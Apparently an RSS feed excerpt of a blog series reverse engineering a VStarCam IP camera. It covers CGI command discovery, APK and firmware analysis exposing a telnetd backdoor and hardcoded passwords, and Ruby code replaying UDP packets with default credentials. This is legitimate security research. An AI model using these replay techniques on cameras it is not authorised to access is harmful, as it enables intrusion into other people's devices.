<p>Using the &quot;Find in Path&quot; feature in Android Studio let&#39;s us search the project for any mention of .cgi. While some results aren&#39;t going to be exactly as we want, we will get to see a majority of the surface level functions we can use.</p>
<center>
<img src="/images/vstarcam/wireshark/8.png" style="width: 100%; height: 100%;">
</center>
<p>If we actually look at some of them we can see some code that provides us with more info.</p>
<pre class="code-block"><code>new-instance v1, Ljava/lang/StringBuilder;

invoke-direct {v1}, Ljava/lang/StringBuilder;-&amp;gt;&amp;lt;init&amp;gt;()V

const-string/jumbo v2, &quot;set_sensorname.cgi?&amp;sensorid=&quot;
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;-&amp;gt;append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, &quot;&amp;sensorid0=&quot;
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;-&amp;gt;append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, &quot;&amp;sensorid1=&quot;</code></pre>
<p>I don&#39;t need to really know smali to know what I&#39;m seeing here. We have a java class, StringBuilder, building a CGI string to send out. By looking at these segments of code by the CGI strings we have found, we can also mine more information on what arguments some of these commands use.</p>
<h3>Decomipling SO</h3>
<p>I noticed after a while an interesting pattern I kept seeing after it made the CGI string, it would call a method:</p>
<pre class="code-block"><code>vstc2/nativecaller/NativeCaller;-&gt;TransferMessage</code></pre>
<p>However, no amount of googling lead me closer to finding out what it did, and worse, I couldn&#39;t find the method ANYWHERE in the smali. I must have searched for hours.</p>
<p>Finally when I did find it, it was just a stub method, there was no code to it at all! Then after a bit more googling I learned that methods gained from Shared Object files won&#39;t show up in a Smali decompile, since it&#39;s only decompiling the Java, not the assembly. When looking through the shared objects, I found one called libvstc2_jni.so, which seemed to be what I was looking for. I tried decompiling it on Linux but I couldn&#39;t find a good tool to do it with and ended up using onlinedisassembler which worked pretty well as I mainly just used it for it&#39;s string search, rather than wanting to pour over ARM ASM.</p>
<center>
<img src="/images/vstarcam/wireshark/9.png" style="width: 100%; height: 100%;">
</center>
<h3>Decompiling Firmware</h3>
<p>I&#39;d also like to decompile the firmware on the camera, but unfortunately, I couldn&#39;t find a good method to pull a copy off the device.  I was, however, able to get a hold of an update, (Finally I&#39;ve been waiting for months for a firmware update I could listen into.), which doesn&#39;t contain any CGI info, but does contain some other interesting stuff I&#39;ll detail later.</p>
<h3>Googling</h3>
<p>Ripping through Shared Objects, Smali, and Wireshark captures is fun and all, but sometimes you just want real human English answers. I spent a lot of time googling things during this writeup, as well as when I first sat down with the device months ago.</p>
<p>Finally after getting so far, I wanted to see if there was ANY information out there about this API, so I set out with a couple choice google searches, and an understanding of what &quot;down the rabbit hole&quot; truly means.</p>
<p>I started with googling &quot;vstarcam api&quot;, which lead me to an interesting <a href="http://www.vstarcam.com/SDK-Download.html">SDK page</a>. Once there I quickly located a CGI manual, let&#39;s open it up and take a look inside.</p>
<center>
<img src="/images/vstarcam/wireshark/10.png" style="width: 100%; height: 100%;">
</center>
<p>Oh no, the manual is in Chinese, but at least we are getting closer.</p>
<p>I tried &quot;vstarcam sdk&quot; and ended up finding an <a href="http://corz.org/windows/software/oodlecam/files/IP%20Camera%20CGI%20Manual%20[from%20Tenvis%203815%20SDK].pdf">english manual</a>. I also noticed this <a href="https://community.home-assistant.io/t/c7824wip-ptz-camera/38597">forum post</a>, which also talked about the poor security of the VStarCam firmware.</p>
<p>In this post he talks about some juicy things, one of which I discovered in an update I went through.</p>
<p>There was also <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">another post</a> about the camera, although it mentions it by a different name, unsurprisingly, the picture even is the same one I have. This guy went deep into the nitty gitty on some of the exploits, some of which I&#39;d like to try myself now that I know about them.</p>
<p>Also, after referencing the manual, I did not notice any commands I didn&#39;t find already, or see any that weren&#39;t listed.</p>
<h2>Extras</h2>
<p>After studying this thing for months, I FINALLY received a firmware update. I wasted no time sniffing the connection and learning some cool stuff.</p>
<center>
<img src="/images/vstarcam/wireshark/11.png" style="width: 100%; height: 100%;">
</center>
<p>When it started the download, it used the auto_download_file.cgi script. With it we can supply a server, and a file to download. Potentially abusable! We will definitely cover this in a later part.</p>
<center>
<img src="/images/vstarcam/wireshark/12.png" style="width: 100%; height: 100%;">
</center>
<p>I immediately grabbed a copy of the file and went to town in binwalk, extracting all files so I could take a look. One of the first files I noticed, ipcam.sh, had an interesting thing inside it. This is the file verbatim.</p>
<pre class="code-block"><code>export PATH=/system/system/bin:$PATH
#telnetd
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/system/bin/brushFlash
/system/system/bin/updata
/system/system/bin/wifidaemon &amp;
/system/system/bin/upgrade &amp;</code></pre>
<p>When I saw this I thought, &quot;Oh man, someone left telnetd on and had to turn it off in a later update.&quot;</p>
<p>After downloading previous updates from caches online, I found that this was indeed true. It is also backed up by <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">this article</a>, specifically in the section &quot;CVE-2017-8224 - Backdoor account&quot;.</p>
<p>I thought that was super funny.</p>
<p>Another interesting find was some of the developer names were accidentally left in some binaries, by way of a home directory listing.</p>
<center>
<img src="/images/vstarcam/dengyi.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/vstarcam/laishao.png" style="width: 100%; height: 100%;">
</center>
<p>I also found another interesting tidbit, the password they use to zip is hardcoded into binaries added in some of the updates.</p>
<center>
<img src="/images/vstarcam/PASSWORD.png" style="width: 100%; height: 100%;">
</center>
]]></description>
      <content:encoded><![CDATA[<p>Now we are at the point where everything is coming together and now we need to know WHAT we can do with the device.</p>
<h2>Getting a list of CGI</h2>
<p>At this point, we have a working client (for the most part), now we need commands to run! We are going to explore a variety of ways we can get more info on the commands that are available to us.</p>
<h3>Wireshark and Testing Methodology</h3>
<p>We can use Wireshark as a sniffer to get the request strings we want. We just open the APP as usual, and try each and every single option, button, etc. Try to do anything that might generate a GET. Then filter the GET packets out in Wireshark.</p>
<h3>Decompiling APK</h3>
<p>We can use Android Studio&#39;s &quot;Debug and Profile APK&quot; feature to disassemble the APK into Smali. I didn&#39;t know anything about Smali before messing around with this project, so pardon me if I get things wrong, I never really learned the language, I just used intuition on most of this.</p>
<p>Using the &quot;Find in Path&quot; feature in Android Studio let&#39;s us search the project for any mention of .cgi. While some results aren&#39;t going to be exactly as we want, we will get to see a majority of the surface level functions we can use.</p>
<center>
<img src="/images/vstarcam/wireshark/8.png" style="width: 100%; height: 100%;">
</center>
<p>If we actually look at some of them we can see some code that provides us with more info.</p>
<pre class="code-block"><code>new-instance v1, Ljava/lang/StringBuilder;

invoke-direct {v1}, Ljava/lang/StringBuilder;-&amp;gt;&amp;lt;init&amp;gt;()V

const-string/jumbo v2, &quot;set_sensorname.cgi?&amp;sensorid=&quot;
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;-&amp;gt;append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, &quot;&amp;sensorid0=&quot;
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;-&amp;gt;append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, &quot;&amp;sensorid1=&quot;</code></pre>
<p>I don&#39;t need to really know smali to know what I&#39;m seeing here. We have a java class, StringBuilder, building a CGI string to send out. By looking at these segments of code by the CGI strings we have found, we can also mine more information on what arguments some of these commands use.</p>
<h3>Decomipling SO</h3>
<p>I noticed after a while an interesting pattern I kept seeing after it made the CGI string, it would call a method:</p>
<pre class="code-block"><code>vstc2/nativecaller/NativeCaller;-&gt;TransferMessage</code></pre>
<p>However, no amount of googling lead me closer to finding out what it did, and worse, I couldn&#39;t find the method ANYWHERE in the smali. I must have searched for hours.</p>
<p>Finally when I did find it, it was just a stub method, there was no code to it at all! Then after a bit more googling I learned that methods gained from Shared Object files won&#39;t show up in a Smali decompile, since it&#39;s only decompiling the Java, not the assembly. When looking through the shared objects, I found one called libvstc2_jni.so, which seemed to be what I was looking for. I tried decompiling it on Linux but I couldn&#39;t find a good tool to do it with and ended up using onlinedisassembler which worked pretty well as I mainly just used it for it&#39;s string search, rather than wanting to pour over ARM ASM.</p>
<center>
<img src="/images/vstarcam/wireshark/9.png" style="width: 100%; height: 100%;">
</center>
<h3>Decompiling Firmware</h3>
<p>I&#39;d also like to decompile the firmware on the camera, but unfortunately, I couldn&#39;t find a good method to pull a copy off the device.  I was, however, able to get a hold of an update, (Finally I&#39;ve been waiting for months for a firmware update I could listen into.), which doesn&#39;t contain any CGI info, but does contain some other interesting stuff I&#39;ll detail later.</p>
<h3>Googling</h3>
<p>Ripping through Shared Objects, Smali, and Wireshark captures is fun and all, but sometimes you just want real human English answers. I spent a lot of time googling things during this writeup, as well as when I first sat down with the device months ago.</p>
<p>Finally after getting so far, I wanted to see if there was ANY information out there about this API, so I set out with a couple choice google searches, and an understanding of what &quot;down the rabbit hole&quot; truly means.</p>
<p>I started with googling &quot;vstarcam api&quot;, which lead me to an interesting <a href="http://www.vstarcam.com/SDK-Download.html">SDK page</a>. Once there I quickly located a CGI manual, let&#39;s open it up and take a look inside.</p>
<center>
<img src="/images/vstarcam/wireshark/10.png" style="width: 100%; height: 100%;">
</center>
<p>Oh no, the manual is in Chinese, but at least we are getting closer.</p>
<p>I tried &quot;vstarcam sdk&quot; and ended up finding an <a href="http://corz.org/windows/software/oodlecam/files/IP%20Camera%20CGI%20Manual%20[from%20Tenvis%203815%20SDK].pdf">english manual</a>. I also noticed this <a href="https://community.home-assistant.io/t/c7824wip-ptz-camera/38597">forum post</a>, which also talked about the poor security of the VStarCam firmware.</p>
<p>In this post he talks about some juicy things, one of which I discovered in an update I went through.</p>
<p>There was also <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">another post</a> about the camera, although it mentions it by a different name, unsurprisingly, the picture even is the same one I have. This guy went deep into the nitty gitty on some of the exploits, some of which I&#39;d like to try myself now that I know about them.</p>
<p>Also, after referencing the manual, I did not notice any commands I didn&#39;t find already, or see any that weren&#39;t listed.</p>
<h2>Extras</h2>
<p>After studying this thing for months, I FINALLY received a firmware update. I wasted no time sniffing the connection and learning some cool stuff.</p>
<center>
<img src="/images/vstarcam/wireshark/11.png" style="width: 100%; height: 100%;">
</center>
<p>When it started the download, it used the auto_download_file.cgi script. With it we can supply a server, and a file to download. Potentially abusable! We will definitely cover this in a later part.</p>
<center>
<img src="/images/vstarcam/wireshark/12.png" style="width: 100%; height: 100%;">
</center>
<p>I immediately grabbed a copy of the file and went to town in binwalk, extracting all files so I could take a look. One of the first files I noticed, ipcam.sh, had an interesting thing inside it. This is the file verbatim.</p>
<pre class="code-block"><code>export PATH=/system/system/bin:$PATH
#telnetd
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/system/bin/brushFlash
/system/system/bin/updata
/system/system/bin/wifidaemon &amp;
/system/system/bin/upgrade &amp;</code></pre>
<p>When I saw this I thought, &quot;Oh man, someone left telnetd on and had to turn it off in a later update.&quot;</p>
<p>After downloading previous updates from caches online, I found that this was indeed true. It is also backed up by <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">this article</a>, specifically in the section &quot;CVE-2017-8224 - Backdoor account&quot;.</p>
<p>I thought that was super funny.</p>
<p>Another interesting find was some of the developer names were accidentally left in some binaries, by way of a home directory listing.</p>
<center>
<img src="/images/vstarcam/dengyi.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/vstarcam/laishao.png" style="width: 100%; height: 100%;">
</center>
<p>I also found another interesting tidbit, the password they use to zip is hardcoded into binaries added in some of the updates.</p>
<center>
<img src="/images/vstarcam/PASSWORD.png" style="width: 100%; height: 100%;">
</center>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Exploitation</strong> (<em>Security</em>) &bull; 6 years &mdash; Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [<a href="https://www.exploit-db.com">Exploit_db</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Memory Leaks and De-serialization</title>
      <link>https://sol.vin/vstarcam_journey/5.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/5.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Static Analysis</category>
      <category domain="skill-slug">static_analysis</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Static Analysis</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark3.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/5.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/6.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/7.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/wireshark3.png" />
      <description><![CDATA[<p>We are really hauling through this, now it&#39;s time to see if we can replay a GET request via UDP. For this, we will want to go through our captures and grab a couple GET request data packets, including the 16 byte header in the front of the data.</p>
<p>The best way to do this in Wireshark is to find the packets using the filter</p>
<p>* frame contains GET</p>
<p>Then go to the details pane (it&#39;s the one above the hex dump and below the packet stream), right click on the Data heading, click Copy, then click As Escaped String. For this I will choose the first UDP GET request in the search.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark3.png" style="width: 100%; height: 100%;">
</center>
<p>Once we have the string copied, we can write our simple code to replay the packet.</p>
<pre class="code-block"><code>CHECK_USERS_REPLAY = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00&quot; \
&quot;\x47\x45\x54\x20\x2f\x63\x68\x65\x63\x6b\x5f\x75\x73\x65\x72\x2e&quot; \
&quot;\x63\x67\x69\x3f\x6e\x61\x6d\x65\x3d\x31\x32\x33\x34\x35\x36\x37&quot; \
&quot;\x38\x39\x26\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d\x69&quot; \
&quot;\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x70\x61\x73\x73\x77&quot; \
&quot;\x6f\x72\x64\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70&quot; \
&quot;\x77\x64\x3d\x70\x61\x73\x73\x77\x6f\x72\x64\x26&quot;
def send_replay
  data_sock.send(CHECK_USERS_REPLAY, target)
  LOG.info &quot;Sent replay packet&quot;
end</code></pre>
<pre class="code-block"><code>require &quot;./client&quot;
client = Client.new
client.run

until client.state == :main_phase
  sleep 0.1
end

client.send_replay
sleep 5
client.close</code></pre>
<p>After our GET request was sent, we should have gotten two new packets to inspect, some sort of acknowledgment and the results of the command.</p>
<center>
<img src="/images/vstarcam/wireshark/5.png" style="width: 100%; height: 100%;">
</center>
<pre class="code-block"><code>GET_STATUS_REPLAY = &quot;\xf1\xd0\x00\x54\xd1\x00\x00\x02\x01\x0a\x00\x00\x48\x00\x00\x00&quot; \
&quot;\x47\x45\x54\x20\x2f\x67\x65\x74\x5f\x73\x74\x61\x74\x75\x73\x2e&quot; \
&quot;\x63\x67\x69\x3f\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d&quot; \
&quot;\x69\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x38\x38\x38\x38&quot; \
&quot;\x38\x38\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70\x77&quot; \
&quot;\x64\x3d\x38\x38\x38\x38\x38\x38&quot;

def send_replay
  data_sock.send(GET_STATUS_REPLAY, target)
  LOG.info &quot;Sent replay packet&quot;
end</code></pre>
<p>This time when we send the replay let&#39;s see what happens.</p>
<center>
<img src="/images/vstarcam/wireshark/6.png" style="width: 100%; height: 100%;">
</center>
<p>This time we get something a little different. We got the &quot;acknowledgement&quot; packet but we didn&#39;t get any results. Upon closer inspect we can see the two acknowledgement packets are just slightly different, the last byte on our success being 0x00 and the last byte on our failure was 0x02. We now know that the order of the packets is important. This could signify that the mysterious header has some values in it that track order of packets.</p>
<p>Let&#39;s learn more.</p>
<p>The next thing we are going to want to try is to modify a request, and see if we can get it to teach us something new about the protocol.</p>
<pre class="code-block"><code>CHECK_USERS_HEADER = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00&quot;
CHECK_USERS_REQUEST = &quot;GET /check_user.cgi?name=123456789&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST1 = &quot;GET /check_user.cgi?name=44444&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST2 = &quot;GET /check_user.cgi?name=1234567890&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST3 = &quot;GET /check_user.cgi?name=987654321&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST
CHECK_USERS_MODIFIED_REPLAY1 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST1
CHECK_USERS_MODIFIED_REPLAY2 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST2
CHECK_USERS_MODIFIED_REPLAY3 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST3</code></pre>
<p>In the constant CHECK_USERS_MODIFIED_REQUEST1 I changed the name parameter to make it shorter, and in CHECK_USERS_MODIFIED_REQUEST2 I made the name a bit longer, and in CHECK_USERS_MODIFIED_REQUEST3 I reversed the name, but kept the amount of chars the same.</p>
<p>Sending 1 or 2 does nothing and the server doesn&#39;t even reply back. Sending request 3 however, works just fine, and produces the correct output.</p>
<p>What we just learned from this is that the header has values specifically related to size not content.</p>
<p>If we try to replay the same packet twice in a session, we see another weird behavior.</p>
<pre class="code-block"><code>I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd0\x00\x48\xd1\x00\x00\x00\x01\x0a\xa0\x60\x3c\x00\x00\x01\x72\x65\x73\x75\x6c\x74\x3d\x20\x30\x3b\x0d\x0a\x76\x61\x72\x20\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72\x73\x3d\x31\x3b\x0d\x0a\x76\x61\x72\x20\x6d\x61\x78\x5f\x73\x75\x70\x70\x6f\x72\x74\x5f\x75\x73\x65\x72\x73\x3d\x34\x3b\x0d\x0a
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:31 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong</code></pre>
<p>The first replay works fine, but the second one doesn&#39;t produce results, but does produce the failure acknowledgement. Maybe the acknowledgment packet signifies that the is formatted correctly, but won&#39;t give the results if the values aren&#39;t 100% correct. My guess would be that the bytes that control size are fine, but the bytes that control order are not.</p>
<p>Let&#39;s move on to deciphering these two mysteries.</p>
<h2>Figuring out the header</h2>
<p>The first big mystery we want to solve is the header, how it&#39;s made, and what we can do with it. To do this,we will open up Android Studio with the Eye4 app and do a full capture, from logging into the device, to changing all the settings in the client.</p>
<p>Here are some examples, I pulled them all in order from when the were received. I also do a little number analysis on it and print out the result.</p>
<pre class="code-block"><code>CHECK_USERS_HEADER = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00&quot;
CHECK_USERS_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x5c\x00\x00\x00&quot;
CHECK_USERS_REQUEST = &quot;GET /check_user.cgi?name=123456789&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST_HEADER + CHECK_USERS_REQUEST

CONGLOMERATE_HEADER = &quot;\xf1\xd0\x01\xb9\xd1\x00\x00\x01&quot;
CONGLOMERATE_REQUEST1_HEADER = &quot;\x01\x0a\x00\x00\x51\x00\x00\x00&quot;
CONGLOMERATE_REQUEST1 = &quot;GET /snapshot.cgi?res=1&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CONGLOMERATE_REQUEST2_HEADER = &quot;\x01\x0a\x00\x00\x4c\x00\x00\x00&quot;
CONGLOMERATE_REQUEST2 = &quot;GET /get_status.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST3_HEADER = &quot;\x01\x0a\x00\x00\x53\x00\x00\x00&quot;
CONGLOMERATE_REQUEST3 = &quot;GET /get_factory_param.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST4_HEADER = &quot;\x01\x0a\x00\x00\x4c\x00\x00\x00&quot;
CONGLOMERATE_REQUEST4 = &quot;GET /get_params.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST5_HEADER = &quot;\x01\x0a\x00\x00\x51\x00\x00\x00&quot;
CONGLOMERATE_REQUEST5 = &quot;GET /snapshot.cgi?&amp;res=1&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REPLAY = CONGLOMERATE_HEADER + CONGLOMERATE_REQUEST1_HEADER + CONGLOMERATE_REQUEST1 + CONGLOMERATE_REQUEST2_HEADER + CONGLOMERATE_REQUEST2 +
                      CONGLOMERATE_REQUEST3_HEADER + CONGLOMERATE_REQUEST3 + CONGLOMERATE_REQUEST4_HEADER + CONGLOMERATE_REQUEST4 + CONGLOMERATE_REQUEST5_HEADER + CONGLOMERATE_REQUEST5

SET_FACTORY_HEADER = &quot;\xf1\xd0\x00\x7e\xd1\x00\x00\x02&quot;
SET_FACTORY_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x72\x00\x00\x00&quot;
SET_FACTORY_REQUEST = &quot;GET /set_factory_param.cgi?alarm_server=push.eye4.cn/VSTC&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
SET_FACTORY_REPLAY = SET_FACTORY_HEADER + SET_FACTORY_REQUEST_HEADER + SET_FACTORY_REQUEST

SET_DATETIME_HEADER = &quot;\xf1\xd0\x00\x99\xd1\x00\x00\x03&quot;
SET_DATETIME_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x8d\x00\x00\x00&quot;
SET_DATETIME_REQUEST = &quot;GET /set_datetime.cgi?tz=28800&amp;ntp_enable=1&amp;ntp_svr=time.windows.com&amp;now=1551842107&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
SET_DATETIME_REPLAY = SET_DATETIME_HEADER + SET_DATETIME_REQUEST_HEADER + SET_DATETIME_REQUEST

puts &quot;CHECK_USERS_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST LENGTH = D:#{CHECK_USERS_REQUEST.size} | H:0x#{CHECK_USERS_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{CHECK_USERS_REPLAY.size} | H:0x#{CHECK_USERS_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;CONGLOMERATE_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST1 LENGTH = D:#{CONGLOMERATE_REQUEST1.size} | H:0x#{CONGLOMERATE_REQUEST1.size.to_s(16)}&quot;
puts &quot;    REQUEST2 LENGTH = D:#{CONGLOMERATE_REQUEST2.size} | H:0x#{CONGLOMERATE_REQUEST2.size.to_s(16)}&quot;
puts &quot;    REQUEST3 LENGTH = D:#{CONGLOMERATE_REQUEST3.size} | H:0x#{CONGLOMERATE_REQUEST3.size.to_s(16)}&quot;
puts &quot;    REQUEST4 LENGTH = D:#{CONGLOMERATE_REQUEST4.size} | H:0x#{CONGLOMERATE_REQUEST4.size.to_s(16)}&quot;
puts &quot;    REQUEST5 LENGTH = D:#{CONGLOMERATE_REQUEST5.size} | H:0x#{CONGLOMERATE_REQUEST5.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{CONGLOMERATE_REPLAY.size} | H:0x#{CONGLOMERATE_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;SET_FACTORY_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST LENGTH = D:#{SET_FACTORY_REQUEST.size} | H:0x#{SET_FACTORY_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{SET_FACTORY_REPLAY.size} | H:0x#{SET_FACTORY_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;SET_DATETIME_REPLAY BREAKDOWN &quot;
puts &quot;    REQUEST LENGTH = D:#{SET_DATETIME_REQUEST.size} | H:0x#{SET_DATETIME_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{SET_DATETIME_REPLAY.size} | H:0x#{SET_DATETIME_REPLAY.size.to_s(16)}&quot;</code></pre>
<pre class="code-block"><code>CHECK_USERS_REPLAY BREAKDOWN
    REQUEST LENGTH = D:92 | H:0x5c
    PACKET LENGTH = D:108 | H:0x6c

CONGLOMERATE_REPLAY BREAKDOWN
    REQUEST1 LENGTH = D:81 | H:0x51
    REQUEST2 LENGTH = D:76 | H:0x4c
    REQUEST3 LENGTH = D:83 | H:0x53
    REQUEST4 LENGTH = D:76 | H:0x4c
    REQUEST5 LENGTH = D:81 | H:0x51
    PACKET LENGTH = D:445 | H:0x1bd

SET_FACTORY_REPLAY BREAKDOWN
    REQUEST LENGTH = D:114 | H:0x72
    PACKET LENGTH = D:130 | H:0x82

SET_DATETIME_REPLAY BREAKDOWN
    REQUEST LENGTH = D:141 | H:0x8d
    PACKET LENGTH = D:157 | H:0x9d
[Done] exited with code=0 in 0.663 seconds</code></pre>
<p>When writing this test, I noticed that the 8 byte segments were very similar to the other 8 byte segments, so I wanted to break them up, because I was sure it was significant.</p>
<p>We want to take a look at the hex numbers and start comparing them to numbers in the header. We see, for example, that CHECK_USER_REQUEST length is 0x5c, which we can also see in the CHECK_USER_REQUEST_HEADER in byte[4].  We can see this in every request header.</p>
